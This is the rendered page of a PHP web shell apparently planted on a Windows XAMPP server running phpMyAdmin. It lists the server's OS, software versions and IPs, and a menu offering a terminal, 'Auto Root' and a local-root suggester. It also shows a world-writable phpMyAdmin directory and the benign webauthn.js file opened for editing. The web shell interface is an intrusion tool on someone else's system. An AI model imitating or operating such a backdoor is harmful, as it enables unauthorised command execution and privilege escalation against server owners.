Windows NT KAMIDAKI 10.0 build 19045 (Windows 10) AMD64
Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.3.9
Server IP : 192.168.3.16 & Your IP : 216.73.216.140
Domains :
Cant Read [ /etc/named.conf ]
User : SISTEMA
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
C: /
xampp /
phpMyAdmin /
js /
src /
Delete
Unzip
Name
Size
Permission
Date
Action
codemirror
[ DIR ]
drwxrwxrwx
2024-07-26 17:40
database
[ DIR ]
drwxrwxrwx
2024-07-26 17:40
designer
[ DIR ]
drwxrwxrwx
2024-07-26 17:40
jqplot
[ DIR ]
drwxrwxrwx
2024-07-26 17:40
server
[ DIR ]
drwxrwxrwx
2024-07-26 17:40
setup
[ DIR ]
drwxrwxrwx
2024-07-26 17:40
table
[ DIR ]
drwxrwxrwx
2024-07-26 17:40
transformations
[ DIR ]
drwxrwxrwx
2024-07-26 17:40
ajax.js
33.96
KB
-rw-rw-rw-
2023-02-07 22:26
chart.js
18.29
KB
-rw-rw-rw-
2023-02-07 22:26
common.js
5.14
KB
-rw-rw-rw-
2023-02-07 22:26
config.js
25.6
KB
-rw-rw-rw-
2023-02-07 22:26
console.js
56.88
KB
-rw-rw-rw-
2023-02-07 22:26
cross_framing_protection.js
423
B
-rw-rw-rw-
2023-02-07 22:26
doclinks.js
18.54
KB
-rw-rw-rw-
2023-02-07 22:26
drag_drop_import.js
14.28
KB
-rw-rw-rw-
2023-02-07 22:26
error_report.js
10.34
KB
-rw-rw-rw-
2023-02-07 22:26
export.js
34.37
KB
-rw-rw-rw-
2023-02-07 22:26
export_output.js
402
B
-rw-rw-rw-
2023-02-07 22:26
functions.js
162.86
KB
-rw-rw-rw-
2023-02-07 22:26
gis_data_editor.js
14.37
KB
-rw-rw-rw-
2023-02-07 22:26
home.js
5.96
KB
-rw-rw-rw-
2023-02-07 22:26
import.js
6.02
KB
-rw-rw-rw-
2023-02-07 22:26
indexes.js
30.5
KB
-rw-rw-rw-
2023-02-07 22:26
jquery.sortable-table.js
11.02
KB
-rw-rw-rw-
2023-02-07 22:26
keyhandler.js
2.22
KB
-rw-rw-rw-
2023-02-07 22:26
makegrid.js
97.52
KB
-rw-rw-rw-
2023-02-07 22:26
menu_resizer.js
6.43
KB
-rw-rw-rw-
2023-02-07 22:26
multi_column_sort.js
1.34
KB
-rw-rw-rw-
2023-02-07 22:26
name-conflict-fixes.js
44
B
-rw-rw-rw-
2023-02-07 22:26
navigation.js
58.82
KB
-rw-rw-rw-
2023-02-07 22:26
normalization.js
28.83
KB
-rw-rw-rw-
2023-02-07 22:26
ol.mjs
1.03
KB
-rw-rw-rw-
2023-02-07 22:26
page_settings.js
2.01
KB
-rw-rw-rw-
2023-02-07 22:26
replication.js
3.71
KB
-rw-rw-rw-
2023-02-07 22:26
shortcuts_handler.js
3.72
KB
-rw-rw-rw-
2023-02-07 22:26
sql.js
39.28
KB
-rw-rw-rw-
2023-02-07 22:26
u2f.js
3.39
KB
-rw-rw-rw-
2023-02-07 22:26
webauthn.js
4.34
KB
-rw-rw-rw-
2023-02-07 22:26
Save
Rename
/** * @param {ArrayBuffer} buffer * * @return {string} */ const arrayBufferToBase64 = buffer => { const bytes = new Uint8Array(buffer); let string = ''; for (const byte of bytes) { string += String.fromCharCode(byte); } return window.btoa(string); }; /** * @param {string} string * * @return {Uint8Array} */ const base64ToUint8Array = string => { return Uint8Array.from(window.atob(string), char => char.charCodeAt(0)); }; /** * @param {JQuery<HTMLElement>} $input * * @return {void} */ const handleCreation = $input => { const $form = $input.parents('form'); $form.find('input[type=submit]').hide(); const creationOptionsJson = $input.attr('data-creation-options'); const creationOptions = JSON.parse(creationOptionsJson); const publicKey = creationOptions; publicKey.challenge = base64ToUint8Array(creationOptions.challenge); publicKey.user.id = base64ToUint8Array(creationOptions.user.id); if (creationOptions.excludeCredentials) { const excludedCredentials = []; for (let value of creationOptions.excludeCredentials) { let excludedCredential = value; excludedCredential.id = base64ToUint8Array(value.id); excludedCredentials.push(excludedCredential); } publicKey.excludeCredentials = excludedCredentials; } // eslint-disable-next-line compat/compat navigator.credentials.create({ publicKey: publicKey }) .then((credential) => { const credentialJson = JSON.stringify({ id: credential.id, rawId: arrayBufferToBase64(credential.rawId), type: credential.type, response: { clientDataJSON: arrayBufferToBase64(credential.response.clientDataJSON), attestationObject: arrayBufferToBase64(credential.response.attestationObject), } }); $input.val(credentialJson); $form.trigger('submit'); }) .catch((error) => Functions.ajaxShowMessage(error, false, 'error')); }; /** * @param {JQuery<HTMLElement>} $input * * @return {void} */ const handleRequest = $input => { const $form = $input.parents('form'); $form.find('input[type=submit]').hide(); const requestOptionsJson = $input.attr('data-request-options'); const requestOptions = JSON.parse(requestOptionsJson); const publicKey = requestOptions; publicKey.challenge = base64ToUint8Array(requestOptions.challenge); if (requestOptions.allowCredentials) { const allowedCredentials = []; for (let value of requestOptions.allowCredentials) { let allowedCredential = value; allowedCredential.id = base64ToUint8Array(value.id); allowedCredentials.push(allowedCredential); } publicKey.allowCredentials = allowedCredentials; } // eslint-disable-next-line compat/compat navigator.credentials.get({ publicKey: publicKey }) .then((credential) => { const credentialJson = JSON.stringify({ id: credential.id, rawId: arrayBufferToBase64(credential.rawId), type: credential.type, response: { authenticatorData: arrayBufferToBase64(credential.response.authenticatorData), clientDataJSON: arrayBufferToBase64(credential.response.clientDataJSON), signature: arrayBufferToBase64(credential.response.signature), userHandle: arrayBufferToBase64(credential.response.userHandle), } }); $input.val(credentialJson); $form.trigger('submit'); }) .catch((error) => Functions.ajaxShowMessage(error, false, 'error')); }; AJAX.registerOnload('webauthn.js', function () { if ( ! navigator.credentials || ! navigator.credentials.create || ! navigator.credentials.get || ! window.PublicKeyCredential ) { Functions.ajaxShowMessage(Messages.webAuthnNotSupported, false, 'error'); return; } const $creationInput = $('#webauthn_creation_response'); if ($creationInput.length > 0) { handleCreation($creationInput); } const $requestInput = $('#webauthn_request_response'); if ($requestInput.length > 0) { handleRequest($requestInput); } });